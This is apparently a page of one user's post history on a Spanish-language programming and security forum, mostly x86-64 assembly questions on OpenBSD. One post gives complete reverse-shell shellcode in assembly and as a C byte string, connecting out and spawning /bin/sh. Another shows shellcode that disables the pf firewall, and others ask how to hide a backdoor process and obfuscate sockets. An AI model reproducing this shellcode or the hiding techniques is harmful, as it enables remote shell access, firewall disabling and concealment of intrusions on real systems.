|
Mostrar Temas
|
Páginas: 1 2 3 4 [5] 6 7
|
41
|
Programación / ASM / Llamar dirección
|
en: 9 Abril 2013, 18:20 pm
|
Hola Cuando cargo unos bytes en el stack, y luego los llamo con un call tengo el siguiente problema. pushq $0x050f01b0 callq *%rsp
Sería una llamada a exit, crea un segmentation fault, cuando cargo los bytes en memoria igual. PSIG SIGSEGV SIG_DFL code SEGV_MAPERR<1> addr=0x6001d0 trapno=6 En C más de lo mismo. Cuando miro el disassembler llama a esp, no entiendo porque no llamada a rsp, seguro que esta hay el problema. Pero en 32 bits funciona bien. También mirare los manuales. Un saludo. P.D: (*(void(*)()) code)();
mov $0x600980,%edx mov $0x0,%eax callq *%edx
|
|
|
42
|
Sistemas Operativos / Unix/Unix-Like / Incluir cabezales ".h"
|
en: 18 Marzo 2013, 19:51 pm
|
Estoy realizando un programa en ASM y necesito recurrir a las librerias de C.
Probé la directiva .extern pero sin resultado, compilando el ".S" con gcc opción -nostdlib pero nada.
Se pueden incluir los cabezales con ld? Cuál seria la forma?
Si eso no es posible la única forma seria pasar la función a syscall, pero eso no seria portable para otras plataformas no?
Un saludo.
|
|
|
44
|
Programación / ASM / Argumento 64 bits.
|
en: 26 Febrero 2013, 20:55 pm
|
Hola Cuando paso el valor al cuarto argumento rcx, al llamar la syscall el valor se torna nuló, es lo que muestra kdump, ¿A que se debe?. .section .text .globl _start _start: pushq $0x2 popq %rdi pushq $0x1 popq %rsi movb $0x6, %dl addb $0x61, %al syscall xchgq %rax, %rdi incq %r8 incq %rsi leaq 0x8(%rsp), %rcx movb $0x69, %al syscall
CALL socket(PF_INET,SOCK_STREAM,IPPROTO_TCP) RET socket 3 CALL setsockopt(0x3,0x2,0x6,0,0x1) RET setsockopt -1 errno 22 Invalid argument PSIG SIGSEGV SIG_DFL code SEGV_MAPERR<1> addr=0x16 trapno=6 Un saludo.
|
|
|
45
|
Programación / ASM / [Duda] Estructuras
|
en: 6 Febrero 2013, 16:56 pm
|
Hola
Cuando una función requiere una estructura cargo los valores al stack, y los paso como dirección, pero la pregunta es la siguiente.
Quiero rellenar la estructura tcphdr, el encabezado tcp, pero esta no requiere que la pase a ninguna función, como se hace?
Un saludo.
|
|
|
47
|
Seguridad Informática / Bugs y Exploits / [!] Reverse shell Unix-like
|
en: 11 Enero 2013, 14:41 pm
|
Hola Para poner en practica los conocimientos que voy adquiriendo en ASM, hice una pequeña reverse shell de 64bits. Esta testeada en OpenBSD y en nivel local, no remoto, solo es para poner en practica mis conocimientos, eso lo dejo bien claro. .section .text .globl _start _start: incb %al pushq %rax popq %rsi incb %al pushq %rax //socket popq %rdi orb $0x4, %al pushq %rax popq %rdx addb $0x5b, %al syscall xchgq %rax, %rdi //descriptor movq $0x0100007f4dbc02ff, %rbx //sockaddr_in pushq %rbx movq %rsp, %rsi movb $0x10, %dl //connect orb $0x60, %al syscall xorq %rsi, %rsi C.0: movb $0x5a, %al syscall incb %sil //dup2 0,1,2 cmpb $0x03, %sil loopne C.0 movq $0x68732f6e69622fff, %rbx shrq $0x8, %rbx pushq %rbx movq %rsp, %rdi xorb %al, %al //execve sh pushq %rax movq %rsp, %rsi xchgq %rax, %rdx addb $0x2b, %al syscall xorb %al, %al
C: "\xfe\xc0\x50\x5e\xfe\xc0\x50\x5f\x0c\x04\x50\x5a" "\x04\x5b\x0f\x05\x48\x97\x48\xbb\xff\x02" "\xbc\x4d" // puerto "\x7f\x00\x00\x01" // direccion "\x53\x48\x89\xe6\xb2\x10\x0c\x60\x0f\x05\x48\x31" "\xf6\xb0\x5a\x0f\x05\x48\xff\xc6\x48\x83\xfe\x03" "\xe0\xf3\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68" "\x48\xc1\xeb\x08\x53\x48\x89\xe7\x30\xc0\x50\x48" "\x89\xe6\x48\x92\x04\x2b\x0f\x05\x30\xc0";
Cualquier pregrunta sobre el código no os cortéis. Un saludo.
|
|
|
48
|
Programación / ASM / Shellcode direcciones
|
en: 8 Diciembre 2012, 09:29 am
|
Hola Estoy creando una shellcode para que desactive pf, y tengo el siguiente problema. .section .text .globl _start _start: pushq %rax push $0x6c746366 push $0x702f6e69 push $0x62732f2f movq %rsp, %rdi pushq %rax push $0x642d pushq %rdi movq %rsp, %rsi xorq %rax, %rax movb $0x3b, %al int $0x80 xorq %rax, %rax movb $0x01, %al int $0x80
No presenta ninguna segmentation fault así que la tracé. 11277 l CALL execve(0x7f7fffff6960,0x7f7fffff6948,0) 11277 l NAMI "//sb" 11277 l RET execve -1 errno 2 No such file or directory 11277 l CALL exit(0x7f7fffff6960) Al cargar la dirección de pfctl, solo copia en el registro rdi 0x62732f2f "//sb" no entiendo porque no carga la dirección completa. Un saludo.
|
|
|
49
|
Seguridad Informática / Análisis y Diseño de Malware / [Duda] Cifrar Socket
|
en: 5 Diciembre 2012, 20:06 pm
|
Hola
Cuando creas un socket se guarda en una variable entera que se le llama descriptor, luego ese descriptor se usa para las funciones como connect, bind, revc etc...
Cifrando el descriptor con XOR la conexión funcionaría?
Hay otras formas más "refinadas" de conseguirlo"?
Un saludo.
|
|
|
50
|
Sistemas Operativos / Unix/Unix-Like / Ocultar procesos
|
en: 15 Noviembre 2012, 21:12 pm
|
Hola
Voy al grano.
Tengo algo parecido a una backdoor, como un netcat, pero es "muy básica".
Cuando miro las conexiones activas hay aparece, y en ps también, la oculto cambiando el nombre por un proceso común, pero es muy cutre no?
Hay una práctica llamada "Hooking" si no me equivoco, pero todo es para windows, alguien puede echarme un cable para un unix-like?
Un saludo.
P.D: Muestro el código si alguien quiere.
|
|
|
|
|
|
|